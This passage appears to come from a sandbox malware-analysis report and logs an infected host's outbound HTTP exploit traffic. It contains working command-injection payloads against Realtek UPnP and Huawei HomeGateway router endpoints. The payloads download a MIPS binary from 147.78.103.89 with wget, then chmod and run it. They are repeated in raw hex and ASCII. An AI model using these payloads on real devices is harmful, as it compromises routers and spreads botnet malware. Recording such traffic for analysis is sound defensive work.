2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:12.758964062 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      121192.168.2.1556906156.77.135.3237215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:04.497328043 CET834OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      122192.168.2.1542142156.247.24.24437215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:06.905116081 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:08.505021095 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:10.392726898 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:14.392602921 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:22.072374105 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:37.175884008 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:08.663039923 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
